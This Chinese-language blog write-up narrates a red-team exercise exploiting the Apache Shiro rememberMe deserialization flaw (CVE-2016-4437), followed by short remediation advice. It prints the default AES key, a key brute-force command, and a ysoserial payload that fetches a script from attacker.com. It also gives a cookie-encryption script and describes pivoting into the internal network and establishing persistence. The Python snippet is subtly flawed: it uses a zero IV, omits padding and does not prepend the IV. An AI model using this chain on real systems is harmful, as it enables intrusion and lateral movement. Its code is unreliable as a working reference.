从一次内部攻防演练讲起:我是如何用Shiro反序列化漏洞(CVE-2016-4437)拿下内网机器的

从一次内部攻防演练看Shiro反序列化漏洞的实战利用

那是一个普通的周三下午,我正喝着咖啡准备开始当天的安全评估工作。作为企业内网渗透测试团队的一员,这次的任务是对公司新上线的Java Web应用进行安全测试。没想到这次看似常规的评估,却让我发现了一个潜伏在系统中的"定时炸弹"——Apache Shiro反序列化漏洞(CVE-2016-4437)。

1. 漏洞发现与初步验证

当我像往常一样使用Burp Suite对目标系统进行扫描时,一个异常的响应引起了我的注意。在登录页面的HTTP响应头中,赫然出现了Set-Cookie: rememberMe=deleteMe的字段。这个特征立即触发了我的职业敏感——这很可能是Shiro框架的标志性特征。

为了确认这一发现,我迅速构造了一个测试请求:

POST /login HTTP/1.1 Host: target.com Cookie: rememberMe=test

当服务器再次返回rememberMe=deleteMe时,我几乎可以确定目标系统使用了存在漏洞的Shiro版本。接下来需要验证的是系统是否使用了默认密钥。

2. 密钥爆破与漏洞确认

Shiro反序列化漏洞的核心在于加密密钥。如果系统使用了默认密钥或弱密钥,攻击者就可以构造恶意的rememberMe cookie来执行任意命令。我决定使用shiro_attack工具进行密钥爆破:

python3 shiro_attack.py -u http://target.com/login -v

工具很快返回了结果——系统竟然使用了公开的默认密钥kPH+bIxk5D2deZiIxcaaaA==。这意味着漏洞利用的成功率将大大提高。

注意:在实际渗透测试中,遇到非默认密钥的情况更为常见,这时需要结合其他手段获取密钥或寻找其他攻击路径。

3. 漏洞利用实战

确认漏洞存在后,我开始准备利用链。考虑到目标系统的环境,我选择了CommonsBeanutils1作为gadget,使用ysoserial生成payload:

java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/shell.sh -o /tmp/shell.sh" > payload.ser

然后使用Python脚本将序列化数据加密为rememberMe cookie:

import base64 from Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = b'\x00'*16 # 使用全零IV简化测试 cipher = AES.new(key, AES.MODE_CBC, iv) with open('payload.ser', 'rb') as f: payload = cipher.encrypt(f.read()) rememberMe = base64.b64encode(payload).decode()

将生成的rememberMe值放入请求cookie中发送后,我立即检查了攻击服务器日志,确认目标系统已经下载了我们的shell脚本。

4. 权限提升与内网渗透

获取初步立足点后,我开始进行内网探测。通过执行ifconfignetstat -tuln等命令,我发现这台服务器还连接着多个内部系统。利用已获得的权限,我上传了内网扫描工具:

chmod +x /tmp/shell.sh /tmp/shell.sh & # 后台运行内网扫描脚本

扫描结果显示内网中存在多台未打补丁的Windows服务器。通过搭建Socks代理,我成功将攻击面扩展到整个内网环境。

5. 漏洞防御与修复建议

这次演练暴露出几个严重问题:

  1. 过时的组件版本:系统使用的Shiro版本低于1.2.4
  2. 默认密钥风险:使用了公开的默认加密密钥
  3. 缺乏纵深防御:内网系统间没有足够的隔离措施

修复方案应当包括:

风险点修复措施实施难度
Shiro版本升级到最新稳定版
加密密钥生成强随机密钥替换默认值
网络架构实施网络分段和访问控制

6. 渗透测试中的经验总结

在这次演练中,有几个关键点值得记录:

  • 信息收集至关重要:发现rememberMe特征是指向漏洞的关键线索
  • 工具链准备:提前准备好ysoserial、shiro_attack等工具能节省大量时间
  • 利用链选择:不同环境需要尝试不同的gadget,CommonsBeanutils1只是其中一种可能
  • 权限维持:获得初始访问后,要快速建立持久化通道

实际渗透中遇到的挑战往往比实验室环境复杂得多。记得有一次遇到Shiro应用,虽然存在漏洞特征,但所有公开密钥都无法解密。后来通过分析应用代码,发现开发人员对密钥进行了二次编码,这种变种情况需要特别关注。